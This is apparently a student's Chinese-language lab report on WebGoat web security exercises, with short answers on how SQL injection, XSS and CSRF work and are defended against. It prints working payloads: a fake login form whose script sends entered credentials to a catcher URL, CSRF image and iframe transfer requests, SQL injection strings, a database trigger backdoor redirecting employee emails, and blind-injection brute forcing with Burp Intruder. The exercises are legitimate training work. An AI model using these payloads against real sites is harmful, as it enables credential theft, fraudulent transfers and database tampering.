20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 攻击原理:利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验证进行登录,还有对数据库增删查改的基本操作。
  • 防御:利用输入规则限制进行防御,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,诱使别人访问从而运行代码。
  • 防御:和sql注入防御类似(永远不相信用户的输入)。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。CSRF可以劫持会话和cookie来冒名进行 一些操作,比如实验中的转账。
  • 防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。

实验总结与体会

  • 感觉sql注入和xxs攻击都很好很强大,做的有点停不下来,感觉特别有用!一口气做了12个,剩下的自己有时间再做,先把博客发了。

实践过程

webgoat安装

  • 这部分在老师的指导(就指导了安装这一个事情)和周岐浩的博客里面说的很清楚,可以直接参考,我也不多做说明了。
  • ps:校网下载安装包是真的慢。。。还经常出现错误下载终止逼得我开流量下载了。我把下载好的安装包上传到网盘分享在这里,有需要的可以下载一些,虽然百度网盘也不快下载链接。放心,链接没有sql注入什么的~

实践过程

XSS注入攻击

Phishing with XSS

  • 这个很简单,就是在文本框里面写一个钓鱼网站代码就可以了
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 提交后如图:

  • 成功!

Stored XSS Attacks

  • 这个超简单,在message里面随便输入点什么让别人不愉快的东西就可以了,比如一个玩笑弹窗
<script>
alert("Had this been a real attack...hehe just joke");
</script>
  • 效果如图:

Reflected XSS Attacks

  • 根据题意和提示在下面文本框中输入http://www.targetserver.com/search.asp?input=<script>alert("hello");</script>,我选择的最后一个文本框输入
  • 提交后入图弹出来窗口:

  • 看上去和上面很类似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容

CSRF攻击

Cross Site Request Forgery (CSRF)

  • 这个实践是利用cookie冒名登录,用代码伪造请求
  • 在message里面输入<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>就会发出一个转钱的请求,盗取钱财。

CSRF Prompt By-Pass

  • 这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
</iframe> <iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

SQL注入攻击

Numeric SQL Injection

  • 老师课上没做出来的,用老师的步骤一下子就成功了,看来是老师电脑今天不配合,挽尊!

Log Spoofing

  • 利用换行符伪造一个假的日志信息,欺骗人眼。

String SQL Injection

  • 这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

SQL Injection

Stage 1 String SQL Injection
  • 在密码栏中输入' or 1=1 --来让密码规则破坏,但是登录不成功,抓包发现密码字段变了:

  • 发现问题在这,有长度限制,修改一下重新尝试成功了管理员neville:

Stage 3 Numeric SQL Injection
  • 这里要求我们登陆larry后能浏览Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数:

  • 然后将id字段改成101 or 1=1 order by salary desc --走一下,回到网页发现成功了:

Database Backdoors

  • 第一步,通过输入101; update employee set salary=70000来给id为101的人改工资(真好!):

  • 第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里来吧!101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='caiye@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久:

  • 可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

Blind String SQL Injection

  • 跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
  • 因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
  • 爆破点1 是1-10 10个可能性
  • 爆破点2 是a-z和A-Z 52个可能性,

  • 一共520种组合,时间还算可以接受:

  • 可以发现规律,正常是数字为10时报文长度为1334,因为10比1-9多一位;但有一些不是10报文长度也是1334,查看返回报文是Account number is valid,即有效账户,所以爆破得到了账户名。
  • 用户名是通过上图结果拼接而成,前面的数字代表后门字母在用户名中的位置:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  3. 20145330 《网络对抗》 Web安全基础实践

    20145330 <网络对抗> Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字 ...

  4. 20145219《网络对抗》Web安全基础实践

    20145219<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  5. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  6. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  7. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  8. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

随机推荐

  1. xcode 定义自己的代码片段

    个人修改后的github地址:https://github.com/jiangys/xcode_tool 电脑xcode存放的路径:~/Library/Developer/Xcode/UserData ...

  2. iOS - (多图上传已封装)

      /***  上传带图片的内容,允许多张图片上传(URL)POST**  @param url                 网络请求地址*  @param images              ...

  3. 关于linux中SSH爆破总结

    2.思路 (1)对root账号进行暴力破解 (2)使用中国姓名top1000作为用户名进行暴力破解 (3)使用top 10000 password字典进行密码破解 (4)利用掌握信息进行社工信息整理并 ...

  4. SpringBoot+SpringCloud实现登录用户信息在微服务之间的传递

    实现思路: 1:准备一个ThreadLocal变量,供线程之间共享. 2:每个微服务对所有过来的Feign调用进行过滤,然后从请求头中获取User用户信息,并存在ThreadLocal变量中. 3:每 ...

  5. [10]Windows内核情景分析---中断处理

    中断处理 每个cpu有一张中断表,简称IDT. IDT的整体布局:[异常->空白->5系->硬](推荐采用7字口诀的方式重点记忆) 异常:前20个表项存放着各个异常的描述符(IDT表 ...

  6. NSOperation、NSOperationQueue(III)

    NSOperation.NSOperationQueue 常用属性和方法归纳 NSOperation 常用属性和方法 a. 取消操作方法 //可取消操作,实质是标记 isCancelled 状态. - ...

  7. Python学习记录之-----类

    面向过程 VS 面向对象 编程范式 编程是 程序 员 用特定的语法+数据结构+算法组成的代码来告诉计算机如何执行任务的过程 , 一个程序是程序员为了得到一个任务结果而编写的一组指令的集合,正所谓条条大 ...

  8. Spark学习之路 (十四)SparkCore的调优之资源调优JVM的GC垃圾收集器

    一.概述 垃圾收集 Garbage Collection 通常被称为“GC”,它诞生于1960年 MIT 的 Lisp 语言,经过半个多世纪,目前已经十分成熟了. jvm 中,程序计数器.虚拟机栈.本 ...

  9. django中操作cookie与session

    cookie 什么是Cookie Cookie具体指的是一段小信息,它是服务器发送出来存储在浏览器上的一组组键值对,下次访问服务器时浏览器会自动携带这些键值对,以便服务器提取有用信息. Cookie的 ...

  10. 使用Oozie中workflow的定时任务重跑hive数仓表的历史分期调度

    在数仓和BI系统的开发和使用过程中会经常出现需要重跑数仓中某些或一段时间内的分区数据,原因可能是:1.数据统计和计算逻辑/口径调整,2.发现之前的埋点数据收集出现错误或者埋点出现错误,3.业务数据库出 ...